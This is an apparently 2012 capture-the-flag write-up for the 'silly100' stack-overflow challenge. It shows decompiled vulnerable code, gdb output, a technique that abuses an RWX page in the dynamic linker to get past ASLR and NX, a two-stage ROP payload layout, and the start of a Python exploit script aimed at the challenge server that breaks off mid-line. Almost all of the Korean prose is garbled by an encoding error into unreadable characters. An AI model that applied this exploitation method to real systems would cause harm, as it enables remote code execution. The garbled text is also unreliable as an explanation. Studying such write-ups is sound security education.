¦®¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¯ ¦­ ¦®¦¬¦¬¦¬¦¬¦¯ ¦®¦¬¦¬¦¬¦¬¦¯ ¦®¦¬¦¬¦¬¦¬¦¯ ¦­ ¦­ ¦±¦¬¦¯¦®¦¬¦° ¦­¦®¦¬¦¬¦¬¦° ¦­¦®¦¬¦¬¦¬¦° ¦­ ¦­ ¦­¦­ ¦­¦±¦¬¦¬¦¯ ¦­¦±¦¬¦¬¦¯ ¦­ ¦­ ¦®¦¯¦­¦­ ¦­¦®¦¬¦¬¦° ¦­¦®¦¬¦¬¦° ¦­ ¦­ ¦­¦±¦°¦­ ¦­¦­ ¦­¦­ ¦­ ¦­ ¦±¦¬¦¬¦° ¦±¦° ¦±¦° ¦­ ¦²¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦´ ¦­ ¦®¦¬¦¬¦³¦¬¦¬¦³¦¬¦¬¦³¦¬¦¬¦³¦¬¦¬¦³¦¬¦³¦¯ ¦­ ¦­ ¦­ ¦¬¦´ ¦¬¦´¦®¦¯¦­ ¦¬¦´¦®¦¯¦­ ¦­¦­ ¦­ ¦­ ¦²¦¬ ¦­ ¦¬¦´¦²¦´¦²¦¬ ¦­¦±¦°¦­¦­ ¦­ ¦­ ¦­ ¦±¦¬¦¬¦µ¦¬¦¬¦µ¦¬¦¬¦µ¦¬¦¬¦µ¦¬¦¬¦µ¦µ¦¬¦°2 ¦­ ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦° ¦¬[Document Infomation] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ :: Title :: Just For Fun Season2 / silly100 write-up :: Date :: 2012. 08. 01 :: Author :: pwn3r :: Editor :: pwn3r :: Contact:: E-Mail(austinkwon2@gmail.com) Homepage(http://pwn3r.tistory.com) ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[Index] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ 0x00. Intro 0x01. Analysis 0x02. Vulnerability 0x03. How To Exploit? 0x04. There's already RWX permission memory? 0x05. Powerful Exploitation 0x06. Conclusion ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x00. Intro] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ 2008³â beistlabÀÌ °³ÃÖÇϼ̴ø Just For Fun ÇØÅ·´ëȸÀÇ season2¸¦ ¿ÃÇØ B10S¿Í WiseGuyz¿¡¼­ °³ÃÖÇß½À´Ï´Ù. À̹ø JFF season2¿¡ Á¦°¡ ÃâÁ¦Çß´ø silly100¹®Á¦ÀÇ Ç®ÀÌÀÔ´Ï´Ù. ¹®Á¦ÀÇ À̸§Ã³·³ ¹®Á¦ÀÇ ¼Ò½º´Â sillyÇÏ°Ô ÀÛ¼ºµÇ¾ú½À´Ï´Ù. ¾ÖÃÊ¿¡ ÄÁ¼ÁÀÌ ¼Ò½º¿Í Ãë¾àÁ¡Àº ¸ðµÎ ¸Å¿ì °£´ÜÇÏÁö¸¸ , ExploitationÀÌ ¾î·Á¿î ¹®Á¦ÀÔ´Ï´Ù. µû¶ó¼­ Ç®ÀÌ¿¡¼± Ãë¾àÁ¡À» ÀÚ¼¼È÷ ¼³¸íÇϱ⺸´Ü , Exploitation ±â¼ú¿¡ ºñÁßÀ» µÎ°í ¼³¸íÇÕ´Ï´Ù. ÆíÀÇ»ó °æ¾îü´Â »ý·«ÇÏ°Ú½À´Ï´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x01. Analysis] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ----------------------------------------------- | Challenge Info | ----------------------------------------------- |read /home/silly100/flag.txt :p | | | |ADDR : challenge.b10s.org | |PORT : 13301 | | | |binary : http://jff.b10s.org/files/silly100 | | | |* ASLR & NX are enabled on challenge server | | | |* Server OS : Ubuntu 10.04 | ----------------------------------------------- ¼­¹öÁÖ¼Ò,Æ÷Æ®¿Í ÇÔ²² linux ELF executable ¹ÙÀ̳ʸ®°¡ ÁÖ¾îÁ³´Ù. ¹ÙÀ̳ʸ®´Â ÁÖ¾îÁø ¼­¹öÁÖ¼Ò¿¡¼­ xinetd ¼­ºñ½º·Î¼­ ÀÛµ¿ÇÏ°í ÀÖ¾ú´Ù. IDAÀÇ hex-ray±â´ÉÀ» ÀÌ¿ëÇØ µðÄÄÆÄÀÏÇØ ºÐ¼®Çغ¸ÀÚ. --------------------------------------- |int __cdecl main() | |{ | | char v1; // [sp+10h] [bp-10h]@1 | | | | chdir("/home/silly100/"); | | puts("Smash Me :p"); | | fflush(stdout); | | fgets(buffer, 1024, stdin); | | strcpy(&v1, buffer); | | return 0; | |} | --------------------------------------- Ãë¾àÁ¡ÀÌ °£»©³õ°í ±â´Ù¸®°í ÀÖ´Ù. ´ë³õ°í ÀüÇüÀûÀÎ Stack Overflow Ãë¾àÁ¡ÀÇ ¹®Á¦ÀÌ´Ù. fgetsÇÔ¼ö·Î 1024 bytes ¸¸Å­ÀÇ µ¥ÀÌÅ͸¦ Àü¿ªº¯¼ö¿¡ ÀԷ¹ްí À̸¦ strcpyÇÔ¼ö·Î ±æÀÌ Á¦ÇѾøÀÌ 0x10 bytes Â¥¸® Áö¿ªº¯¼ö¿¡ º¹»ç½ÃÅ°±â ¶§¹®¿¡ Ãë¾àÁ¡ÀÌ ¹ß»ýÇÑ´Ù. Ãë¾àÁ¡¿¡ ´ëÇØ ´õ ±æ°Ô ¼³¸íÇÏ°í ½ÍÁö¸¸ ÀÌ ÇÁ·Î±×·¥ÀÇ Ãë¾àÁ¡À» 3ÁÙÀÌ»óÀ¸·Î ´Ã¸®´Â°Ç ¾ïÁöÀÎ°Í °°¾Æ ¿©±â¼­ Àû´çÈ÷ ±×¸¸µÐ´Ù :) ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x02. Vulnerability] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¾Æ ÀϺηΠÃë¾àÁ¡ Á¤¸®ÆäÀÌÁö µû·Î ¸¸µé¾ú´Âµ¥ ¾Õ¿¡¼­ ´ÙÇؼ­ ÇÒ°Ô¾ø´Ù.. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x03. How To Exploit?] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ Ãë¾àÁ¡Àº ¾ÆÁÖ ½±°Ô ãÀ» ¼ö ÀÖÁö¸¸ ¾Æ¹«·¡µµ Remote ȯ°æÀε¥´Ù°¡ ¼­¹öÀÇ OS´Â Ubuntu 10.04ÀÌ°í ASLR°ú NX°¡ ¸ðµÎ °É·ÁÀÖ´Â »óȲÀ̱⠶§¹®¿¡ ³»°¡ ³½ ¹®Á¦ÀÌÁö¸¸ ³ªµµ ºýÄ£´Ù. Æò¼Ò¿¡ Ubuntu¿¡¼­ exploitationÀÛ¾÷À» ¸î¹ø Çغ¸½Å ºÐµéÀ̶ó¸é Áߺ¹µÇ¾î¼­ ÃâÇöÇÏ´Â ÁÖ¼Ò°¡ ¸¹À½À» ¾Ë°í , À̸¦ ÀÌ¿ëÇØ °øÀ¯¶óÀ̺귯¸® ÇÔ¼öÁÖ¼Ò¸¦ ÇϳªÀâ°í Brute Force¸¦ ÇÒ °ÍÀÌ´Ù. ½ÇÁ¦·Î ´ëȸ°¡ ÁøÇàµÇ´Â µ¿¾È¿¡µµ ¹®Á¦¼­¹ö OSÀÇ ½ÇÁ¦ ȯ°æÀÌ °ø°³µÇ±â Àü±îÁö ¾Æ¹«µµ Ç®ÀÌÇÏÁö ¸øÇß°í , ¹®Á¦¼­¹ö OSȯ°æÀÌ °ø°³µÇ°í³ª¼­¾ß °°Àº ¹öÁ¯ÀÇ Ubuntu¸¦ ´Ù¿î¹Þ¾Æ °øÀ¯¶óÀ̺귯¸® ÆÄÀÏ¿¡¼­ ½ÇÇà°è¿­ ÇÔ¼öÁÖ¼Ò¸¦ ¾Ë¾Æ³» , Brute ForceÇÏ¿© ½©À» µû³Á´Ù. ¶Ç ´Ù¸¥ ¹æ¹ýÀº , ¼­¹ö¿Í µ¿ÀÏÇÑ °øÀ¯¶óÀ̺귯¸® ÆÄÀÏÀ» ã¾Æ systemÇÔ¼ö°°Àº ½ÇÇà°è¿­ÇÔ¼öÁÖ¼Ò¿Í putsÇÔ¼öÁÖ¼ÒÀÇ offsetÀ» ±¸ÇØ putsÇÔ¼öÀÇ GOT¿¡ ´õÇÏ°í ±×°÷À¸·Î Á¡ÇÁÇÏ´Â ¹æ¹ýÀÌ ÀÖÀ» °ÍÀÌ´Ù. ¹°·Ð ÀÌ ¹æ¹ýµéµµ ÃæºÐÈ÷ ¸ÚÁø ¹æ¹ýÀÌÁö¸¸ ÀÌ°ÍÀº °øÀ¯¶óÀ̺귯¸® ÆÄÀÏ¿¡ ÀÇÁ¸ÀûÀÌ´Ù. °°Àº °øÀ¯¶óÀ̺귯¸® ÆÄÀÏÀÌ ¾ø´Ù¸é ÀÌ·± °ø°ÝÀ» ÇÏ´Â °ÍÀº ¸Å¿ì Èûµé´Ù. µû¶ó¼­ ³ôÀº È®·üÀÇ ¼º°ø·ü°ú ¿ø¼¦À» À§ÇØ »ç¿ëÇϱ⿣ ¹«¸®°¡ ÀÖ´Ù. passket¸àÅä´ÔÀ¸·ÎºÎÅÍ ¼ö¾÷½Ã°£¸¶´Ù "ÇØÄ¿ÀÇ »ý¸íÀº °£Áö´Ù"¶ó°í ¹è¿î ³ª´Â ´õ¿í °£Áö³ª°í reliableÇÏ°Ô ASLR°ú NX¸¦ ¿ìȸÇÏ¿© ¿ø¼¦À¸·Î PWNÀÌ °¡´ÉÇÑ Exploitation±â¼úÀ» ¼Ò°³ÇÏ°Ú´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x04. There's already RWX permission memory?] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ µÚ¿¡¼­ ¼Ò°³ÇÒ Payload¿¡ ´ëÇÑ ÀÌÇظ¦ À§ÇØ Àá½Ã ´Ù¸¥ ³»¿ëÀ¸·Î ºüÁö°Ú´Ù. ÀϹÝÀûÀ¸·Î ¸®´ª½ºÀÇ ¹öÁ¯ÀÌ Á¡Á¡ ³ô¾ÆÁ® °¥¼ö·Ï RWX±ÇÇÑÀ» °¡Áø ¸Þ¸ð¸®´Â Á¡Á¡ ÁÙ¾îµé¾î °¬°í, ÃֽŹöÁ¯ ¸®´ª½ºÀÇ ¹ÙÀ̳ʸ®¿¡¼± RWX¸Þ¸ð¸®¸¦ ã¾Æº¼ ¼ö ¾ø°Ô µÇ¾ú´Ù. ¶ó°í ´ëºÎºÐÀÇ »ç¶÷µéÀº »ý°¢ÇÑ´Ù. ÇÏÁö¸¸ ±×°Ô Á¤¸»Àϱî? ´ë´äÀº ´ç¿¬È÷ NO , ´Ù ±¸¶ó´Ù. ±×·¸´Ù¸é ±×·¸°Ô »ý°¢ÇÏ°ÔµÈ ±Ù°Å´Â ¹«¾ùÀϱî? Çѹø silly100¹®Á¦ÀÇ ¹®Á¦¼­¹ö OSÀÎ Ubuntu 10.04¿¡¼­ -o ¿É¼ÇÀ¸·Î ´Ü¼øÈ÷ ÄÄÆÄÀÏµÈ ¹ÙÀ̳ʸ®ÀÇ ¸Þ¸ð¸® ¸ÊÀ» º¸µµ·ÏÇÏÀÚ. -------------------------------------------------------------------------------------- |(gdb) she cat /proc/2166/maps | |00110000-0012b000 r-xp 00000000 08:01 264465 /lib/ld-2.11.1.so | |0012b000-0012c000 r--p 0001a000 08:01 264465 /lib/ld-2.11.1.so | |0012c000-0012d000 rw-p 0001b000 08:01 264465 /lib/ld-2.11.1.so | |0012d000-0012e000 r-xp 00000000 00:00 0 [vdso] | |0012e000-00281000 r-xp 00000000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so | |00281000-00282000 ---p 00153000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so | |00282000-00284000 r--p 00153000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so | |00284000-00285000 rw-p 00155000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so | |00285000-00288000 rw-p 00000000 00:00 0 | |08048000-08049000 r-xp 00000000 08:01 1061675 /home/pwn3r/test | |08049000-0804a000 r--p 00000000 08:01 1061675 /home/pwn3r/test | |0804a000-0804b000 rw-p 00001000 08:01 1061675 /home/pwn3r/test | |b7fef000-b7ff0000 rw-p 00000000 00:00 0 | |b7ffe000-b8000000 rw-p 00000000 00:00 0 | |bffeb000-c0000000 rw-p 00000000 00:00 0 [stack] | -------------------------------------------------------------------------------------- À§¿¡ ³ª¿À´Â °Íó·³ RWX ¸Þ¸ð¸®´Â º¸ÀÌÁö ¾Ê´Â´Ù. ¸Þ¸ð¸® ¸ÊÆÄÀÏ¿¡´Â Ç¥½ÃµÇ¾î ÀÖÁö¾ÊÁö¸¸ , ¾Æ·¡ºÎºÐÀÌ ¹Ù·Î RWX ±ÇÇÑÀ» °¡Áø ¸Þ¸ð¸®ÀÌ´Ù. -------------------------------------------------------------------------------------- |0012c000-0012d000 rw-p 0001b000 08:01 264465 /lib/ld-2.11.1.so | -------------------------------------------------------------------------------------- ½ÇÁ¦·Î´Â Àú ¿µ¿ª¿¡ x±ÇÇÑÀÌ ÁÖ¾îÁ³Áö¸¸ , mapsÆÄÀÏ¿¡ ¾÷µ¥ÀÌÆ®°¡ µÇÁö¾Ê¾Æ Ç¥½ÃµÇÁö ¾Ê´Â °ÍÀ̶ó°í ÇÑ´Ù. (* ¸ðµç ¸®´ª½º¿¡¼­ ÀÌ ¿µ¿ª¿¡ RWX ±ÇÇÑÀÌ Àִ°ÍÀº ¾Æ´Ï´Ù.) ÀÌ ³»¿ëÀº passket´Ô¿¡ ÀÇÇØ ¹ß°ßµÇ¾î POC2011¿¡¼­ ¹ßÇ¥µÇ¾ú´Ù. ³» ¼³¸íÀÌ ±¸¸®´Ù¸é ¾Æ·¡ URL¿¡ °¡¼­ Àо±æ ¹Ù¶õ´Ù. (* °ü·Ã Æ÷½ºÆà : http://passket.tistory.com/33) ¾Æ¹«Æ° ´ÙÂ¥°íÂ¥ ÀÌ°÷ÀÌ RWX memory¶ó°í¸¸ ½á³õÀ¸¸é ¾î¶»°ÔÇ϶õ °ÍÀΰ¡. Çѹø gdb·Î Áõ¸íÇغ¸ÀÚ. ¿ì¼± gdb¿¡¼­ ÇÁ·Î±×·¥À» ½ÇÇàÇÑ ÈÄ , ¸Þ¸ð¸® ¸ÊÀ» Àоî RWX memoryÀÇ ¹üÀ§¸¦ ¾Ë¾Æ³½´Ù. ±×¸®°í ÇØ´ç RWX memoryÀÇ ¹üÀ§³»¿¡¼­ ÀÓÀÇÀÇ ÁÖ¼Ò¿¡ NOP¸í·ÉÀ» Áý¾î³Ö°í EIP¸¦ NOP¸í·ÉÀÌ ÀÖ´Â ÁÖ¼Ò·Î ¹Ù²Ù¾î Á¤»óÀûÀ¸·Î NOP¸í·ÉÀÌ ½ÇÇàµÇ´ÂÁö È®ÀÎÇØ º¸µµ·ÏÇÑ´Ù. -------------------------------------------------------------------------------------- |(gdb) set *(0x0012c000) = 0x90909090 | |(gdb) set $eip = 0x0012c000 | |(gdb) x/i $eip | |=> 0x12c000: nop | |(gdb) ni | |0x0012c001 in ?? () from /lib/ld-linux.so.2 | |(gdb) ni | |0x0012c002 in ?? () from /lib/ld-linux.so.2 | -------------------------------------------------------------------------------------- ¼º°øÀûÀ¸·Î ½ÇÇàµÇ´Â °ÍÀÌ È®ÀεǾú´Ù :) (¿ø·¡ gdb¿¡¼± ½ÇÇà±ÇÇÑÀÌ ¾ø´Â ¿µ¿ª¿¡¼­ ¸í·ÉÀ» ½ÇÇàÇÏ·ÁÇÏ¸é ¿¡·¯¸¦ Ãâ·ÂÇÏ°í ÁøÇàµÇÁö¾Ê´Â´Ù.) ÀÌ RWX memory¸¦ ÀÌ¿ëÇϸé mprotect³ª mmapÇÔ¼öµîÀ» ºÎ¸£Áö¾Ê°íµµ ¹Ù·Î shellcode¸¦ ½ÇÇà½Ãų¼ö ÀÖ´Ù. ±×·±µ¥ RWX memory°¡ ÀÌ¹Ì ¸Þ¸ð¸® »ó¿¡ Á¸ÀçÇÑ´Ù´Â °ÍÀº È®ÀεǾúÁö¸¸ , ÀÌ°É °ø°Ý¿¡ ¹Ù·Î Àû¿ë½ÃÅ°±â¿£ ¹®Á¦°¡ ÀÖ´Ù. RWX memory ¿µ¿ª¿¡ ÇØ´çÇÏ´Â ÀÚ¸®´Â ´ÙÀ̳ª¹Í ¸µÄ¿ Áß ÀϺκÐÀ̱⠶§¹®¿¡ ASLR Àû¿ë ¹üÀ§¿¡ Æ÷ÇÔÀÌ µÈ´Ù. ÀÌ ¸Þ¸ð¸® ÁÖ¼Ò¸¶Àú ¾Ë¾Æ³¾ ¼ö ¾ø´Ù¸é ¿©Å²¯ ¼³¸íÇÑ ³»¿ëµéÀÌ ¸ðµÎ ÇÊ¿ä¾ø°ÔµÇ°ÚÁö¸¸ , ´ÙÇàÈ÷µµ GOT + 4¿¡¼­ ÀÌ RWX memory ¹üÀ§¿¡ Æ÷ÇÔµÈ ÁÖ¼Ò¸¦ °¡¸£Å°°í ÀÖ´Ù. µû¶ó¼­ ¿ì¸®´Â GOT+4 ÀúÀåµÇ¾îÀÖ´Â ÁÖ¼Ò¸¦ leakÇϰųª ´Ù¸¥ ÆäÀ̷ε忡 º¹»ç½ÃÄÑ , ÃÖÁ¾ÀûÀ¸·Ð RWX memory¿¡ ½©Äڵ带 ÀԷ¹޵µ·ÏÇÏ°í RWX memory·Î Á¡ÇÁÇعö¸®¸é °ð¹Ù·Î ½©Äڵ带 ½ÇÇà½ÃÄѹö¸± ¼ö ÀÖ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x05. Powerful Exploitation] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ±×·³ ÀÌÁ¦ ExploitÀÛ¼ºÀ» À§ÇØ payload¸¦ ±¸¼ºÇغ¸ÀÚ. ¿ì¼± , payloadÀÇ ÃÖÁ¾ ¸ñÇ¥´Â "RWX memory"¿¡ ½©Äڵ带 ÀԷ¹޵µ·Ï ÇÏ°í , ±×°÷À¸·Î Á¡ÇÁÇÏ´Â °ÍÀÌ´Ù. ¸¶Ä§ fgets³ª strcpy°°Àº °øÀ¯¶óÀ̺귯¸® ÇÔ¼öµéÀ» »ç¿ëÇϱ⠶§¹®¿¡ , ÇØ´çÇÔ¼öÀÇ PLT¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ¾î Æí¸®ÇÏ´Ù. ¾È±×·¡µµ payload¸¦ ³ÖÀ» ¼ö ÀÖ´Â °ø°£ÀÌ 1024 bytesÀ̱⠶§¹®¿¡ ExploitÇϱâ ÆíÇѵ¥ ÀԷ¹޴ ¹öÆÛ°¡ Àü¿ªº¯¼öÀ̱â±îÁöÇؼ­ °íÁ¤ÁÖ¼Ò¿¡ ¿øÇÏ´Â payload¸¦ ¾öû³­ »çÀÌÁŭ ³Ö¾îÁÙ ¼ö ÀְԵȰÍÀÌ´Ù. Á¤¸®ÇÏÀÚ¸é , payload ±¸¼ºÇÒ ¶§ ¿ì¸®°¡ ÃÖ´ëÇÑ ÀÌ¿ëÇØ¾ß ÇÒ °ÍµéÀº ¾Æ·¡¿Í°°´Ù. 1) ÀÔ·ÂÇÔ¼ö : fgets@plt 2) º¹»çÇÔ¼ö : strcpy@plt 3) Àü¿ªº¯¼ö (°íÁ¤ÁÖ¼Ò¸¦ °¡Áü) 4) RWX memory Payload´Â Å©°Ô 2°³ÀÇ stage·Î ³ª´­ ¼ö ÀÖ´Ù. µÎ ¹ø° stage(STAGE_1)´Â fgetsÇÔ¼ö¸¦ ÀÌ¿ëÇØ RWX memory¿¡ µ¥ÀÌÅ͸¦ ÀԷ¹޵µ·Ï ÇÏ´Â payload ÀÌ°í , ù ¹ø° stage(STAGE_0)´Â µÎ ¹ø° stage(STAGE_1)¿¡ RWX memoryÁÖ¼Ò¸¦ ±¸ÇØ¿À±â À§ÇÑ payloadÀÌ´Ù. ¶Ç ÇÑ°¡Áö °í·ÁÇØ¾ß ÇÒÁ¡Àº fgets ÇÔ¼ö·Î Ç¥ÁØÀÔ·ÂÀ» ¹Þ±âÀ§Çؼ­ »ç¿ëÇÒ STDIN ÆÄÀÏÆ÷ÀÎÅÍ°¡ ·£´ýÇϱ⶧¹®ÀÌ´Ù. ±×·¡¼­ STAGE_0¿¡¼­ RWX memory¸¦ ±¸ÇØ¿À´Â °Í»Ó¸¸¾Æ´Ï¶ó STDIN ÆÄÀÏÆ÷ÀÎÅ͵µ ±¸Çؿ;ßÇÑ´Ù. ±×·±µ¥ ¾î¶»°Ô STAGE_0¿¡¼­ ¾î¶»°Ô µÎ ÁÖ¼Ò¸¦ STAGE_1¿¡ ±¸ÇØ¿Ã °ÍÀΰ¡? strcpy@plt¸¦ ÀÌ¿ëÇØ RWX memory¸¦ °¡¸£Å°´Â Æ÷ÀÎÅÍ(&GOT + 4)¸¦ ÀÎÀÚ·Î ÇÏ¿© Àü¿ªº¯¼ö¿¡ ÀÖ´Â RWX memory ÁÖ¼Ò¸¦ °íÁ¤µÈ ÁÖ¼Ò¿¡ ÀÖ´Â STAGE_1 payload¿¡ º¹»çÇØ¿Ã ¼ö ÀÖ´Ù. STDIN ÆÄÀÏÆ÷ÀÎÅ͵µ ¸Þ¸ð¸®»ó¿¡ STDINÆÄÀÏÆ÷ÀÎÅ͸¦ Æ÷ÀÎÆÃÇÏ´Â Æ÷ÀÎÅÍ°¡ Á¸ÀçÇϱ⠶§¹®¿¡ strcpy@plt·Î °íÁ¤µÈ ÁÖ¼Ò¿¡ ÀÖ´Â STAGE_1 payload¿¡ º¹»ç½ÃÄÑÁÜÀ¸·Î½á STAGE_1 payloadÀÇ fgetsÇÔ¼ö ÀÎÀÚ±¸¼ºÀ» ¿Ï·á½ÃÄÑÁÙ ¼ö ÀÖ´Ù. °á±¹ ÃÖÁ¾ payload´Â ¾Æ·¡¿Í °°´Ù. ---------------------------------------------------------------------------- |STAGE_0 | | | |[strcpy@plt] [&(pop;pop;ret)] [&STAGE_1+8] [&GOT+4] | |[strcpy@plt] [&(pop;pop;ret)] [&STAGE_1+16] [&STDIN] | |[&(pop ebp;ret)] [&STAGE_1-4] [&(leave;ret)] | | | |STAGE_1 | | | |[fgets@plt] [&ret] [0xdeadbeef] [len(SHELLCODE)] [0xdeadbeef] | ---------------------------------------------------------------------------- STAGE 0 payload¿¡¼­ strcpyÇÔ¼öµéÀÌ ¼öÇàµÇ°í ³ª¸é strcpy¿¡ ÀÇÇØ ÇÊ¿äÇÑ ÁÖ¼ÒµéÀÌ STAGE_1 payload·Î º¹»çµÇ¸é¼­ STAGE_1 payload´Â ¾Æ·¡¿Í °°ÀÌ º¯°æµÉ °ÍÀÌ´Ù. ---------------------------------------------------------------------------- |[fgets@plt] [&ret] [&RWX_memory] [len(SHELLCODE)] [STDIN] | ---------------------------------------------------------------------------- STAGE_0 payload¿¡¼­ strcpyÇÔ¼öµéÀÌ ¼öÇàµÇ¾î STAGE_1 payload°¡ À§¿Í °°ÀÌ º¯°æµÈ µÚ leave; ret¸í·ÉÀ» ÀÌ¿ëÇØ ½ºÅÃÇÁ·¹ÀÓÀ» STAGE_1 payload°¡ ÀÖ´Â ÁÖ¼Ò·Î ¿Å°Ü°£´Ù. ½ºÅÃÇÁ·¹ÀÓÀÌ À̵¿µÇ¾î fgetsÇÔ¼ö·Î RWX memory¿¡ ÀÔ·ÂÀ» ±â´Ù¸±¶§ , ½©Äڵ带 Àü¼ÛÇØÁÖ¸é RWX memory¿¡ ½©Äڵ带 ÀԷ¹ްí , ret¸í·ÉÀÌ ÀÖ´Â ÁÖ¼Ò·Î ¸®ÅÏÇϱ⶧¹®¿¡ ÃÖÁ¾ÀûÀ¸·Î RWX memory·Î RETÇÏ°Ô µÇ´Â°ÍÀÌ´Ù. ±×·³ ÀÌÁ¦ ÀÌ·ÐÀº ¼º¸³‰çÀ¸´Ï ½ÇÁ¦·Î ExploitÇغ¸ÀÚ. ¾Æ·¡´Â ÃÖÁ¾ ExploitÀÌ´Ù. ================================================================================== #!/usr/bin/python from socket import * from struct import pack HOST = "challenge.b10s.org" PORT = 13301 base_addr = 0x0804A080 # &(global variable "buffer") strcpy_plt = 0x08048420 # strcpy@plt fgets_plt = 0x080483F0 # fgets@plt stdin_ptr = 0x0804A040 # &STDIN_PTR rwx_ptr = 0x08049ff8 # &GOT + 4 ppr = 0x080484D2 # &(pop ebx; pop ebp; ret) leave_ret = 0x080483CE # &(leave; ret) p = lambda x :pack("